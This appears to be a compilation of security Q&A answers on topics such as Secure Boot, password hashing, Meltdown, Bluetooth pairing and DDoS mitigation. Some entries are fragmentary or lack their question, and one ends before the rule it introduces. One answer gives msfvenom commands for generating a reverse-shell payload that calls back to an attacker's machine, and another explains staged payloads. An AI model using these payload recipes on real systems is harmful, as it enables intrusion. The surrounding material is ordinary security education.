When registering for most websites, why do you need to confirm your email address?

You will want to be sure that a user's e-mail address is correct if you intend to send mail to it that is either:

security-sensitive (eg forgotten password reset token), or
recurring/high-quantity, to avoid harassing some other person whose address has been entered.

This is typically more about weeding out incorrect addresses that have been entered by mistake than some malicious attack.

If you never intend to send mail to the address, you're only really using it as a fixed-format username and there is no particular need to validate it. But I would imagine that's an option you probably want to keep open.

E-mail validation is not about rate-limiting sign-ups. It's totally ineffective at this for anything but low-motivation/untargeted attacks, because there is no scarcity factor on e-mail addresses. It's trivial for an attacker to register some domains, use unlimited random e-mail addresses on them, and validate using an automated tool reading their inboxes.


Secure Boot on Microsoft Surface Pro 3 (or modern PCs)?

Boot Process

Secure Boot

There are quite a few steps to booting Windows 8.  Now secure boot in general means that the boot loader is only run if its integrity can be checked.  In this case, if enabled, the UEFI is started before anything else and checks that the boot loader is signed by a trusted Certificate Authority.  For an operating system generally only the manufacturer is trusted, e.g. Microsoft.  As long as the boot loader is signed by Microsoft, and verified by the UEFI then the boot loader is started.  Even the UEFI drivers are verified[1].

The EUFI contains a database of registered trusted authorities.  Users can add their own trusted authorities to this database in order to enable the loading of non-Microsoft operating systems.

This is where Trusted Platform Modules (TPMs) are used.  TPMs can be used to store keys, or perform encryption/signing/verification routines.  The TPM combined with the UEFI is what allows for the verification of the boot loader, and the loading of an operating system.

Trusted Boot
Now that's not the end of a secure boot process.  Now that the OS is in a trusted boot state it begins loading the kernel, system drivers, etc.  Secure boot also ensures that the system drivers are signed by a trusted certificate authority (e.g. Microsoft).

Full description of the image above

Why?

Rootkits
At each stage of the boot process certain pieces of code (drivers, system services, etc) are being registered with the operating system.  The earlier in the boot process that malware can hook in the more likely they can:

Persist: even on reboot, the malware is re-enabled
Hide: put itself in a position to stealthily keep the operating system (and antivirus) from noticing its there.
Privileged: continue to grant high permissions to itself

All of these boot processes are run at the highest privilege.  Without a secure mechanism for trusting these loaders rootkits could install themselves with high privileges, and the system wouldn't even know they were there.  Requiring signed boot loaders and system services/drivers decreases the chances that a rootkit can get a foothold into your system.  This does not mean that it's 100% secure, it just makes it a lot harder at certain stages of booting.

Evil Maid

Evil Maid is based on the premise that a hacked boot loader can be installed on the system to do mischief, keylog the password used to decrypt the volume, etc.  This is exactly the type of attack this process is meant to prevent.  A boot loader could not be flashed on here and successfully booted unless it was signed by Microsoft (or some other trusted authority IF the user decides to trust someone else).  This seems fairly unlikely, and it would be unsafe to add a trusted 3rd party to the EUFI database.

Could a piece of hardware come with other trusted authorities installed from the distributor?  Maybe, but that's a whole other level of paranoia.  If you're worried at that level then you're probably doing something wrong in life.

Enabling User Authentication

The guide above can guide you through enabling a TPM on Windows 8, and setting a password for it.  I'm unsure if this also applies to tablets.


What are the methods by which an attacker can distinguish between DROP on IPtables and a Nullroute or non-allocated IP?

One can play around with the TTL (or hop limit with IPv6) of packets send to the destination to figure out where the packets gets lost. The idea is that a router will discard a packet if the TTL is reached and send an ICMP TTL exceeded back. This method is for example used by traceroute (tracepath, tracert...). Since null routing will discard the packet on a router before it reaches the target server this difference can be used to distinguish between null routing on a router or discarding the packet on the final server.


As hinted at in the comment above, you want to use msfvenom to generate your payload.

Start by finding which payload works best for you by using:

msfvenom -l payloads

This will show you a list of all the available payloads.

(I like to grep this for the platform, it makes it easier. msfvenom -l payloads | grep windows)

Once you have your payload selected, you need to tell venom to generate it for you.

msfvenom -p <your payload path> LHOST=<your attacking machine ip> LPORT=<the port you wish to get your shell returned to> -f js_le -e generic/none

This will output a payload that you can copy and paste into your exploit above.


Does no response on port 80 mean that my router is blocking incoming connections?

If you try to access the server behind a router from outside (i.e. internet) and this fails then this means that either the port is blocked from outside or simply not explicitly forwarded in case of a NAT router. But it could also mean that the server is currently down or that some problems inside the LAN make it temporarily unreachable. Or it could mean that the DNS does not resolve to the currently correct IP address.

If you instead attempt to access the server from inside the same LAN by its external IP address (or hostname resolving to external IP address) then it could also be that your router does not support access to the external IP address from inside. This is also called NAT loopback (or NAT hairpinning or NAT reflection) and is not supported by all routers.


How can I prevent requests from the browser console while still using ajax?

You can't.

Any legitimately authenticated user can absolutely manipulate any http request made to your API. Using a proxy such as Fiddler or Burp or just the browser console they can adjust headers, copy cookies pretty much anything.

If you need to rate limit something you have to maintain some sort of state on your server. A per session token in the auth cookie will let you do that, every request with a given cookie gets recorded and requests can be denied if too many requests are made within a certain cut off


What security purpose do hashes of files serve?

A cryptographic hash function is a function which everybody can compute efficiently (there is nothing secret about it), and which offers some interesting characteristics:

It accepts as input a sequences of its (or bytes) of arbitrary length (in practice without any upper bound).
Its output has a fixed, small size (128 bits for MD5, 160 bits for SHA-1).
It is deterministic (hash the same input twice, possibly with different machines or implementations, and you will still get the same output twice).
It is so much entangled that it resists collisions, preimages and second preimages.

For the scenario at hand, collisions are not an issue. Preimage resistance is about the impossibility of finding a message m which, when hashed, yields a given output. Second preimage resistance is similar: you know a message m, which, when hashed, yields some output x, and you cannot find another message m' (distinct from m) which yields the same output. How this impossibility is achieved is a rather complex subject (see this).

The small output size is the reason we use them for downloads. If you obtain the MD5 hash from a reputable source (the SSL-enabled Web site of the publisher), then you can download the actual data from anywhere, e.g. a P2P network like BitTorrent. Once you have the data, you hash it (on your machine) and then check that the MD5 or SHA-1 hash value matches the one you got from the reputable source. On match, you know that you have the right file, down to the last bit, because, in order to feed you an altered file while keeping the correct hash value, an ill-intentioned attacker would have to break second preimage resistance of the hash function -- and, right now, nobody knows how to do that.

If you download the file from the same source as the hash value, then the hash value is kind of useless. The added value for security of the published MD5 or SHA-1 is in the situation where the bulk data is obtained through a "weak" medium, while the hash value is transferred securely.

Hash values are also great for detecting errors. They are meant to resist modifications of the data by intelligent attackers who know what they are doing; this also makes them robust against random alteration from a mindless universe. Hash functions are very good checksums. If you download a big file, say an ISO image, burn it on a DVD, then read back the DVD on some other machine, then there is ample room for non-malicious alterations, in particular bad RAM on either machine (flipped bits occur more often than usually assumed). At any time, you can recompute the hash on the data, and see if it matches the expected value.


ADFS claims consolidation from different issuers

After reading additional article about ADFS architectures I finally understood that all consolidation is in fact done on the issuer level and that the issuer "close to your application" is not that hardly-defined, and it actually should be responsible for providing claims in format application requires. It has application identifier and claims mapping functionality for that purpose (read article for more details).


You have not described a vulnerability or an exploit. You've described a weakness in the operation. Every single anti-malware detection process will have weaknesses. These do not qualify for CVEs.


Is it sensible to use application password bypassing two factor authentication?

Google's application password is computer-generated, and so likely to be much stronger than a human-generated password. That is OK because the generated password is stored by the device, not memorized by a human.  Google's application passwords appear to be 16 lowercase letters. That gives 4x1022 combinations.  An attacker who can try ten billion combinations per second would need about a year and three months to test all possible combinations.  On the average, such an attacker would "hit" on the correct password in seven months.

Application passwords are intended only for devices to which two-factor authentication is not applicable.  Remember, the three properties of information security are confidentiality, integrity, and availability.  When you use an application password, you accept a notional decrease in confidentiality and integrity for a very real increase in availability; without the application password, you wouldn't be able to use your Google account at all on certain devices because the application wasn't designed for two-factor security.
As Boris the Spider has already pointed out, you use these on a per-device basis.  If my iPhone is stolen or lost, I can revoke the password.  Presumably remote-wiping a lost device would delete the application password as well.

Finally, good security requires layered protection.  If you are worried that, say, the government of Elbonia (or maybe the NSA) is trying to crack your Gmail, not only would you change the application password every month or so, you'd use something like GPG to encrypt your communications so that even a compromise of your Gmail account wouldn't compromise the contents of the messages.


The message wasn't sent from outlook.com, it the spammer just claims that it was – there is generally little protection against forged data in mails.

It looks like the mail originated from Yahoo and was delivered to GMX from there.  Outlook was not involved in the process, an outlook.com address was just used as the sender address.


How are passwords stolen from companies if they only store hashes?

There are two common failings, over and above letting the databases or files get stolen in the first place.

Unfortunately, and against all security recommendations, many systems still store plain text passwords.

Hashed passwords are technically not reversible, but as has been pointed out by others, it's possible to hash millions of password guesses then simply look for matches. In fact, what usually happens is that tables of pre-computed passwords and hashes (Rainbow Tables) are available and used to look for matches. A good rainbow table can support a high percentage match in fractions of a second per password hash.

Using a salt (an extra non-secret extension of the password) in the hash prevents the use of pre-computed rainbow tables.

Most compromisers depend upon rainbow tables. Computing their own hash set is certainly possible, but it's extremely time consuming (as in months or longer), so it's generally the vanilla hash that's vulnerable.

Using a salt stops rainbow tables, and a high round count of hashed hashes of hashes can make brute force transition from months to years or longer. Most institutions simply don't implement this level of security.


Checking if apk's contain malicious software

Virus Total has malicious APKs as well, I'm sure you're aware of how to use their API if you've used them for desktop. You might also use Anubis.

Example:

https://www.virustotal.com/en/file/23a6384fc22e1dc10e49223292415c91cb7fc4540f7feae86c61165420009af7/analysis/

To declare an apk malicious that requires actual analysis. Some good resources to get started there might be Santoku or ARE.


On-site Whitelisting vs. Off-site Cisco VPN

From a very basic perspective, yes, being onsite is safer.

The key reason being that there is a smaller attack surface.

If you are connecting in via a VPN, there are numerous additional items which could be attacked (yes, in a perfect world, you would have a secure VPN that couldn't be broken/hacked/misconfigured, but this world is definitely not perfect) so the number of potential exploits increases.

The difference may not be much in a well managed environment, but there are many organisations which still see the increase in risk as too far.


What is the connection between an exploit to the point of privelage escalation and opening a reverse shell?

There isn't actually a direct connection. An exploit takes advantage of a vulnerability in software. For the exploits you are referring to, you are looking to deliver code you've written to get access to the target system. This could open a reverse shell back to you so that you can run commands.

Escalating your privileges isn't directly related because the exploit runs with the permissions of the software you are attacking. If the software runs as root, you get root when you exploit it. If the software runs as joe, you get joe's permissions. Escalating after that is a separate process that may require running more exploits.

  And for the reverse shell, is that an encrypted socket back to some system so that the C&C packets can be sent?

It depends on what you want to run. Things like netcat are not encrypted by default, while sbd, or secure backdoor, are. It's really up to you and the code you deliver to the target.

  I'm still missing what actually takes control on the remote system to handle this?

When you exploit software in the scenario we are talking about, you are redirecting the flow of the program to execute your code. When it does that, it executes whatever code you tell it to do, as if you had yourself written the software.

  Can a full program be injected in the overflow or in pieces and somehow reassembled and start running?

This depends on the vulnerability. In a buffer overflow, you may have a limited size to deliver your code. In that case, you'll have to do what's called staging. Staging is delivering a much smaller program that then downloads more code from you until it gets to the full program you want your exploit to run.


Why is accessing kernel memory a security risk?

In order to understand the threat from Meltdown, you need to understand how memory is organized in modern computers.

The naive view of memory is that each memory address corresponds to a specific set of cells in RAM.  This is called "physical addressing", and until about the early 1990s, was the most common way of handling memory in a computer.  Under physical addressing, if your program reads a byte from address 17, it's reading from the same set of eight memory cells each time.  Turns out, a "physical-only" way of addressing memory rather limits what you can do, particularly with regards to running multiple programs at once.

Enter "virtual addressing".  Now, your program's "memory address 17" no longer corresponds to a specific part of physical memory.  Instead, when the CPU wants the data from that address, it asks a component called the "memory management unit" (MMU) which, in cooperation with the operating system, figures out how to fulfill that request.

This permits a number of efficiency and capability gains.  The best known is probably "swap", commonly known as "virtual memory": address 17 might be temporarily stored on disk, and your program's request is put on hold while the OS stores the contents of part of physical memory to disk, and then loads the piece that your program thinks of as "address 17".  Since the range of available virtual addresses is typically much larger than the amount of physical memory, this lets the OS give the appearance of a computer with far more RAM than it actually has.

The biggest gain from virtual addressing, though, is also entirely hidden from the typical user: it lets the OS give each program the illusion that it's the only program running on the computer.  Your program's "address 17" isn't the same piece of memory as some other program's "address 17".  This means that programs don't need to worry about hiding secrets from each other: Javascript running in your web browser, for example, can't read the contents of your password manager's memory.

For efficiency reasons, the Linux kernel assigns half the available virtual addresses to itself in each program's view of memory, and assigns all of physical memory as part of that address range (the Windows kernel does similar things, though the details vary).  This lets the kernel access anything it needs to without having to adjust the MMU.  The kernel then protects its address space so that an ordinary program trying to read the memory will crash.

Enter Meltdown: it lets a program indirectly read kernel memory without crashing.  It's much slower than direct reading (typically around 150 kilobytes per second, where direct reading is measured in gigabytes per second), but it bypasses the protection.  Because all of physical memory is mapped into the kernel's address space, an attacker employing Meltdown can break the "I'm the only program" illusion.

An ordinary desktop user doesn't have many programs that need to keep secrets from each other, and doesn't run much untrusted code -- the only major threat from Meltdown is hostile Javascript reading the contents of their password manager, and the details of how Meltdown works make it hard to use from Javascript.

The big threat from Meltdown is to cloud and shared-hosting providers.  These computers routinely run programs from untrusted users, and depend on the "I'm the only user" illusion to keep things safe.  Meltdown lets an attacker with an account break this illusion, and do things like steal other users' SSL private keys, usernames and passwords, payment-processing credentials, and other sensitive information.


Mitigating the LUKS decryption key residing in RAM for FDE

Rather unsafe is a little exaggerated. It's secure enough for the vast majority of people trying to protect their data from offline attackers.

If you are worried about a malware reading the encryption keys, you are worried about the wrong threat. A malware should be running with root privileges to read the content of the master keys on the memory, but a malware with root privileges would have access to all data anyway.

If you want to protect against someone stealing your machine while you are away, just configure your screen lock to unmount all LUKS partitions during the lock. You can even install blueproximity to automatically lock the machine when your bluetooth-enabled smartphone gets away.

If some agent with the knowledge and resources to be able to use a cold boot attack is targeting you, you will have to think on more than LUKS to protect yourself.

It's easier to get you to fall for a spear-phishing scheme than to use a cold boot attack. If someone is targeting you, and knows how to employ a cold boot attack, they know how to employ a host of targeted attacks before having to resort to a cold boot. Hole-watering, spear phishing, DNS redirection, even phony traffic tickets and USB-drive gifts can be used for tricking you.

A cold boot would require the attacker to get physically close, and at least steal your computer and disassemble it. But if the attacker can get close enough to take your machine, he can take you too, and easily getting your keys employing Rubber-hose cryptanalysis.


Do i need SSL certificate signed by a CA for hybrid mobile apps?

So a self signed openssl certificate should be enough right?

Only if your mobile app only accepts that certificate and no other. That is, you'll need to update your mobile app if your website/web service's SSL certificate changes and your website/web service will be rejected by normal browsers as untrusted. So you save a small amount of money on a commercial certificate at the cost of no default browser or operating system accepting the web site.

  Do i need to put in some code in the client application to actually validate the certificate?

Most HTTPS libraries will look in a variety of places for trusted CAs. So as long as you have added the self-signed certificate or the CA that signed it to the application or library's trust-store, the validation process will occur automatically.

  What would be the best way to implement ssl for a hybrid app?

Answering every facet of this question would be... rather large. So I suggest these basics:

Buy a normal long-length SSL certificate from a normal provider. Obviously one whose Root CAs is included in the phone's default trust store.
If you want to lock down the trust to just your certificate, there are ways to do this but you'll need to ask the Android stack exchange. It shouldn't require more than a few lines of code with an appropriate HTTPS library/client.
If you want to lock down the web service to only your mobile app, generate a client certificate to be embedded inside your app. Not foolproof but it does raise the bar.
Don't grow your own. If a somewhat heavy open-source library exists for this purpose, use it. At least if you run up against problems you will have a decent developer community to ask questions of. I can't tell you how many times I've seen code-snippet questions on StackOverflow that would have been avoidable if the developer was using a standard one-line call to a popular library.

Oh. And regarding "modify the certificate validation code in the client application" - yeah you have no easy way to stop that as you have to deal with same piracy and reverse-engineering problems that every other software studio providing client-side applications has to deal with.


Creating a password for new user when their first action *won't* be changing it

I'd recommend that you do the following:

Once you receive their submission, create their account and set up a random password for the password field. Then send them a password reset link that'll also double up as a email verification link. From there, log them in normally.


Can a Kerberos application server offer to proxy connections to the KDC?

There exists this protocol called IAKerb. It is very much intended to allow clients to proxy messages through application servers when the clients don't have line of sight to a KDC.
It's about as simple as any Kerberos extension protocol goes. When the client can't find a KDC, the GSS-API stack will attempt to bundle up the original Kerberos messages and stuff them into an SPNego message and fire them off the to the application. The Kerberos dance occurs inside the encapsulated message flow and is opaque to the application itself. Once the user gets everything they needed out the protocol flow the client returns to normal and issues tickets for the application.
The trick here is finding compatible clients and applications. MIT supports it. I don't think Heimdal supports it. Windows definitely doesn't support it. Apple supports it.
You can find the spec in the IETF working group: https://tools.ietf.org/html/draft-ietf-kitten-iakerb-03


Wondering about iMessage security over work WiFi?

Your work cannot intercept your messages. Further, iMessage messages are end-to-end encrypted which means that not even Apple can intercept your messages without making substantial, obvious software updates which would tip off many security researches. The only circumstances in which your employer could see your messages is if they installed a custom app on your phone which made use of private APIs. Since you stated in your question that they have not installed any software on your phone, you are in the clear.

See page 60 of this Apple provided PDF for a more in-depth, technical overview of how iMessage security works.


Dealing with Windows failed events can be a very hard task. Firstly, you have consider 2 types of failed events in Windows:

Kerberos logins (not in your scope): ID 4768, 4769, 4771
Windows logins: ID 4625, ID 4776

Considering now your event, the most meaning full events are the following:

Logon Type:   3   > network event
Workstation Name: Win10-Wrk  > source host, but sometimes can be wrong, so better trust the IP
Source Network Address: 192.168.1.59
Sub Status:  0xc0000064 > MOST IMPORTANT, the error code

In this situation, the error code 0xc0000064  means that the account does not exist. This can report a tentative of account enumeration, but it can also be created because of wrong configuration on domain, servers or even sometimes Exchange mail servers.

What I would suggest now it to verify the Kerberos events on the concerned DC and also enable the failed login auditing on the source machine. This will provide additional information for you analysis.

In case you would like to move one step forward, you can implement the following rule/use case logic in your SIEM for the brutforce rules:


Can simply decompressing a JPEG image trigger an exploit?

Is there such a thing?

Absolutely.  Feeding malicious input to a parser is one of the most common ways of creating an exploit (and, for a JPEG, "decompression" is "parsing").

  Is this description based on some real exploit?

It might be based on the Microsoft Windows GDI+ buffer overflow vulnerability:

  There is a buffer overflow vulnerability in the way the JPEG parsing
  component of GDI+ (Gdiplus.dll) handles malformed JPEG images. By
  introducing a specially crafted JPEG file to the vulnerable component,
  a remote attacker could trigger a buffer overflow condition.

  ...

  A remote, unauthenticated attacker could potentially execute arbitrary
  code on a vulnerable system by introducing a specially crafted JPEG
  file. This malicious JPEG image may be introduced to the system via a
  malicious web page, HTML email, or an email attachment.

.

  This was published in December 2006.

The GDI+ JPEG parsing vulnerability was published in September 2004.

  Is it sensible to say "the operating system" was decompressing the image to render it?

Sure; in this case, it was a system library that required an OS vendor patch to correct it.  Often such libraries are used by multiple software packages, making them part of the operating system rather than application-specific.

In actuality, "the email application invoked a system library to parse a JPEG," but "the operating system" is close enough for a novel.


Should I enter fake password to phishing site?

No, this probably isn't a good idea. Oftentimes, scammers who send emails like that don't actually try out every single password manually but instead use a script that inputs them automatically. In that case, they wouldn't see your message and so it would just be a waste of time.

On the other hand, some people enjoy messing with scammers. A somewhat audacious technique that I have seen tried in the past is to write your own script to repeatedly fill the password field on the phishing site with random data in hopes of drowning out the passwords of people who had fallen for the scam.

As @CoderPE mentioned in the comments, drive-by downloads and exploit kits can be used to compromise a computer just by visiting a website (usually on Windows, although other operating systems can also be affected).


Is it any more secure to use a HTML form instead of a javascript popup?

The Same-Origin Policy does not differentiate between HTML and JavaScript in the context of data-access.  An HTML form exists within the DOM within the website's context, and JavaScript is bound to this same context. In both implementations Cross-site Scripting can be used to undermine the Same-Origin Policy and obtain sensitive information.


Should we confirm other personal details before security questions during password resets?

Personally I thought this would be an additional step from a data protection point of view and an added level of security.

This is correct.

  The disagreement I had was with the other members of my team who thought this amendment was completely unnecessary.

This might also be correct.

The more information you can get from the user, the more confidence you have that it's actually them. But that's not the only thing in play. Why limit this idea to password resets? Why not ask them for their birthdate and phone number on every login? Or every page?

Security always needs to be considered in the context of a threat model. What sort of attackers are you going to protect against, and what sort aren't you? This needs agreement across the business, because it might vary depending on what sort of information you're storing, or how important UX is to your business, or how much of a selling point security is, or what your budget looks like.

We can't tell you if your plan is too much (or, for that matter, too little) for your product. That's a judgement call, and one that your team will have to make.

What we can say is that it's pretty common to just require a few security question answers before resetting. There is also often some leeway for the customer service representative, where they can ask more or fewer questions depending on how sketchy they feel the person on the other end is acting.

But again, there's no fits-all answer.


How to avoid Heartbleed like problems in the future?

(Much of this is based on my answer here)

There are techniques, such as memory guard pages and wiping of deallocated memory, that should have stopped Heartbleed or a similar attack in the future.  OpenBSD, for example, uses them by default.  Heartbleed was made worse because it uses its own memory allocator that actively works to defeat memory protection.

There's a limit to how much protection an operating system can provide against incompetent programming.  Heartbleed exceeded that limit.


How to compare key management strategies

I doubt if there will be a nice answer to this question. There are formal methods (formal verification tools) that you can validate whether your protocol satisfy some properties under some assumptions. Thus, you can mark your (key management) protocol safe. Still, you have three question remain. (1) What were the assumptions? (2) Is the model I tested really map the actual key management protocol? (3) Even in that case, is the verification tool safe, correct and sound?

Even after formal verification, you generally end up with binary results such as safe/unsafe.


Yeah, it sounds like you were hacked. Your mouse cursor isn't supposed to have a life of its own beyond your control! It sounds like someone was using a Remote Access Tool (RAT) on your computer. That is very bad, and you should assume they have full control of everything on your computer.
The fact that the symptons disappeared when you reconnected does not mean you are now safe. Things may be done to your system without you noticing it, or maybe the attacker will take control again later. Don't just assume that the problem is solved because you can no longer see it.
You need to do a complete reinstall of your system. Do not connect to the internet before that is done. You can read more here: Help! My home PC has been infected by a virus! What do I do now?


Most services do not validate the application being used as it is extremely hard to get a relatively reliable answer.  Therefore what they can validate is the user through authentication and possibly their location through the IP address.

That said, some servers do validate the application, but because there is always a way to reverse engineer and bypass the verification, they have to constantly update it.  An example of those would be certain poker applications that use multiple levels of obfuscation and regularly (almost daily) do updates that change the security codes and their location in the program to make it very hard to find before the next update.

Because of the effort needed and the remaining impossibility to be 100% sure, I advise you against doing that.

In any case, you should do validations on the server based on the data that is received to determine if it appears legitimate or not, never relying on what seems to be happening on the user's machine.


What permissions should I give to a MySQL 'user' that searches my database?

Give read permissions to the tables and columns necessary to perform the search and nothing more.


Is it possible to "read" secure (using SSL or TLS) messages if you know the message?

No, SSL uses a symmetric key so an attacker is unable to decrypt the message he has just captured.

However, SSL is vulnerable to a traffic analysis attack. E.g. If you have 2 messages of very different lengths like

"Execute order 66"
"This is a very very very very very very very very very very very very very very very very very very very very long message".

If the attacker knows that the message has to be one of the 2. Based on the length of the encrypted message, he will know which message you sent out.

More info on traffic analysis attack:
http://webcache.googleusercontent.com/search?q=cache:KKy5MbfirYkJ:https://www.cs.berkeley.edu/~daw/teaching/cs261-f98/projects/final-reports/ronathan-heyning.ps+&cd=4&hl=en&ct=clnk&gl=us


This depends on how they might go about checking it, if for example they where to use a full Forensics examination then there would be registry information stored for, when the device was connected. And from there using a software such as FTK or EnCase it would be possible to see the signature of that devise and potentially follow the files signatures and path.


How can I protect my phone voicemail from being hacked?

Only end-to-end encryption as pepe suggests can offer something significant - and still won't save you in cases like voice messages etc.

Also 'rooting/jailbreaking' the phone or not may be an important question if concerned about illegal client-side software installations. Rooting the phone can lead to opening it up to exploitation if not careful (it sometimes leaves the ssh daemon open with default password) - but then again you may be able to install security software only after rooting it. The recent iPhone/iPad exploit demonstrates this: it takes advantage of a fault in a font parsing routing in the iPhone software while opening a carefully constructed PDF file, and uses this fault to get root access. The thing is that after exploitation, you can apply a patch for the fault so that no one can exploit your device without your knowledge if you happen to open a malicious PDF. Without jailbreaking the device you can't install the patch (it's not official yet).

Phone operators (or secret agencies) have the authority and means to push and install software on your device without your knowledge. But it's not only them, look here and here for example. Pushing software and firmware updates can be done to any phone - no need for it to be 'simple' or 'not smartphone'.

Another interesting factoid: The chat logs between Bradley Manning and Adrian Lamo that Wired recently released contain multiple references to phone tapping by secret agencies, for example that it took NSA 50 people and 6 months to figure out how to tap the iPhone. The most interesting part is that wiretapping is something commonly done and they don't have to get a warrant or think about privacy rights while doing it because they do not present the wiretapping data as evidence in court to be challenged - they only use the data to obtain leads to other evidence.


How strong is the performance impact of signing when using RSA_AES_256_ECDH

The cost of encrypting data with AES is proportional to the size of such data. If you send 2 terabytes of data through your SSL connection, you will encrypt 2 terabytes of data and the cost of such encryption will completely dwarf anything that happens with RSA. On the other hand, if you send a single byte through your connection, the costs related to AES encryption will naturally be negligible with regards to RSA. So there cannot be any absolute answer to your question.

We can still say the following:

Unless you are developing code that runs on a smart card, both RSA and AES have negligible RAM costs.
AES-256 is theoretically 40% slower than AES-128, but there are other costs (e.g. the HMAC computations) so it can be predicted that the difference in performance between AES-256 and AES-128 will likely be lower. On the other hand, there is no real difference in security between AES-128 and AES-256; AES-256 may better promote your Alpha Male status when dealing with auditors and marketing people, though.
RSA signature time is roughly cubic in the key size (i.e. a twice larger key will mean eight times the CPU cost). This still depends on how the RSA implementation works, and asymptotic costs are always an approximation. It is useless to go beyond 2048 bits, unless, there again, you have to woo your harem into submission by your powerful display of an oversized RSA key.
Performance questions don't exist in abstracto. Performance is to be measured. On a real machine. Until measures have been made, there can be no performance issue, and discussing performance is just a way to spend time in meetings instead of actually, you know, working.


How does blacklisting an IP using a firewall protect against DDoS attacks?

It's possible for blacklisting an IP to protect a server from a DDoS attack.  A lot would depend on the firewall, the network, the system and the type of attack.

Blacklisting means you tell your firewall to take a special action against traffic from that IP or network range.  You could tell your firewall to ignore traffic from that IP or reject that traffic.  If your network and firewall can handle large amounts of traffic but your server cannot, that may stop the attack assuming the attacker doesn't change source IPs.  It might be a useful short-term mitigation but usually isn't a long-term fix.
To "drop a connection" probably means to ignore it.  The remote server would send (assuming TCP) a syn packet and your firewall would accept the packet, examine it, find that it matches a rule and then execute that rule.  If you are dropping packets from that source then your firewall would do nothing further.  Keep in mind that in order to find the rule it had to accept the packet and examine it which consumed a small amount of resources.  Multiply that tiny resource consumption against a million packets and it starts to add up...
How would this protect a server?  If the firewall and server are separate devices then the firewall takes all of the traffic load and the server doesn't have to deal with junk traffic.  If they're on the same system then hopefully the firewall layer handles the traffic and it doesn't have to be processed by the application layer.

Blacklisting IPs at the firewall is a case of "enumerating badness" and in many cases doesn't scale well.  Do you want to spend the next week of your life pouring through logs and adding firewall rules each time an attacker gets a new IP?  In the long term there are better approaches:

Whitelist known-good IPs - if possible, only allow traffic from your
trusted partners and block everything else by default.
Implement a system that can automatically review traffic and filter out the unwanted traffic
Build a system that can scale to meet your expected traffic load as well as spikes of unwanted traffic.  This would need to happen at all layers: network, firewall, application, etc.


The best solution is to run your session as SELinux user user_u or staff_u, which will much more strictly enforce inter-process communication between other apps and the pin entry app, which runs in gpg_pinentry_t domain.

By default, users are mapped to unconfined_u, which offers some protection, but not nearly as much as if you were to run things as user_u (e.g. you will notice that most things run as unconfined_t, but firefox plugins are executed as mozilla_plugin_t).

For extra high paranoia, you can try Qubes OS which solves precisely this problem -- but it requires getting used to the constraints it imposes on your work environment.


Statistics about malware targeting different OS

Most AV Vendors produce and publish information about malware statistics.

See here for Symantec and here for McAfee.
They also delve into detail about trends, Mobile malware and other findings through out the period.


No.  Pick a VPN you trust, and stick with that.  If you don't trust it, why would you run it with another one that you do?  Just run the one you like.
Otherwise, you're going to be maintaining a rather complicated network for no added benefit.  Also, you're more likely to implement something wrong, and open vulnerabilities if you make the implementation too complex.
Forget about OpenVPN.  Just use WireGuard.


Should I hash a password if it is randomly generated

The point of hashing passwords is that if the attacker can gain access to your password file (by breaking into your server, stealing backup media, hacking your hosting provider, etc.) he/she still can't recover the password from the hash and log in as the user.


Is a no-pairing, no-password Bluetooth RFCOMM connection secure?

Chances are you have no resistance against man-in-the-middle attacks.

There are two standards here, Bluetooth (BT) and Bluetooth Low Energy (LE). Each has a different approach to encryption and authentication and can support multiple levels of security.

NIST has a fairly fantastic paper on Bluetooth security which I'll draw upon for my answer, since it's very comprehensive but also quite easy to follow.

BT has four security modes that a device can operate in. The details of what each mode can do are rather complex, so I'll simplify it thusly: Security Mode 1 has no authentication or encryption, Security Mode 2 enforces authentication and encryption at a per-service level but does not authenticate or encrypt the link layer, Security Mode 3 is authentication and encryption at the link later, and Security Mode 4 is a more secure version of mode 2 with multiple levels of security enforcement allowing for the selection of authentication, no authentication, or security entirely disabled for each service offered.

When authenticating, BT uses any of a number of key exchange methods. The most commonly seen is a 4-digit PIN, which is a legacy authentication mode. There is support for longer pins too, including alphanumeric entry, which provides more security. Then you've got Secure Simple Pairing (SSP) which works with Security Mode 4, allowing for authentication by PIN, password, an unauthenticated mechanism called "Just Works" (encryption but no resistance to MitM), and out-of-band (OOB) key exchange over the internet, NFC, or another channel.

LE has support for authentication, encryption, and signing, but must be put into one of two security modes. Each mode has levels controlling the type of security in use.

Security Mode 1 has the following options:

No authentication or encryption.
No authentication, but traffic is encrypted.
Authenticated pairing and traffic encryption.

Security Mode 2 has the following options:

Unauthenticated pairing with data signing.
Authenticated pairing with data signing.

Authentication is also fairly configurable. You can perform OOB authentication, which involves exchanging the temporary key over another transport mechanism (e.g. internet, NFC), or you could use PIN entry (this is very common) to generate the temporary key on each device. There's also a mechanism called "Just Works", the same as in BT, which sets the temporary key to all zeroes, which still enables transport encryption, but anyone monitoring the communications during the handshake can get the long-term key and decrypt the traffic.

RFCOMM is a service under both BT and LE, so your security depends on which protocol you're using, which security mode you're in, and which level you're using where applicable. As you mentioned that you're not pairing at all, it makes me think you're probably using LE, which isn't really designed for pairing in the same way that BT is. In either case, you're not entering a PIN or performing any kind of authentication, which means that you either have no transport encryption at all (e.g. BT Security Mode 1 or LE Security Mode 1, Level 1) or you have transport encryption enabled but on an unauthenticated key exchange (e.g. LE Security Mode 1, Level 2). In either case you can sniff the traffic with a tool such as the Ubertooth One and dump the contents.


Will converting a MBR disk to GPT, formatting and the converting back to MBR remove a infected boot record.

No, not unless the infection exclusively resides on the MBR. It can easily exist on the bootloader or any other stage in the boot process. Also note that GPT has two backup MBRs on it, though they are not executed by default. If you believe you have an MBR infection (which is quite unlikely), you should reinstall your OS, as an infection of the MBR requires such high privileges that your entire installation could be compromised.


Basic authentication is not Windows Integrated Authentication. The former uses cleartext usernames and passwords; the latter uses Kerberos (usually) or NTLM tokens. Integrated authentication is secure enough(tm) as long as you set the ACLs properly. It's a common mistake to set the ACLs too permissive (Authenticated Users, say) and rely on the inability of an attacker to get any valid Kerberos tokens because they don't have an account on your domain. Even worse, a programmer might not check for authorization at all, and assume that because the call didn't just fail outright at the IIS level it must be OK.

These things are dumb; make sure you set the ACLs to allow only the users IIS is running as on layer blue access to layer red. As long as you do that, it's secure; or, at least, if someone can break it, you've got bigger problems.


chrome app (javascript) - storing encryption password in memory

Have a look at this answer. What follows from the answer is the variable stored by your chrome app cannot be accessed by any other page without changing this yourself - everything produces by your app is stored in its own environment. This is applicable to both variables and data storage.

This implies that your app would be as safe as Chrome's environment, which is likely to be the best you can get.

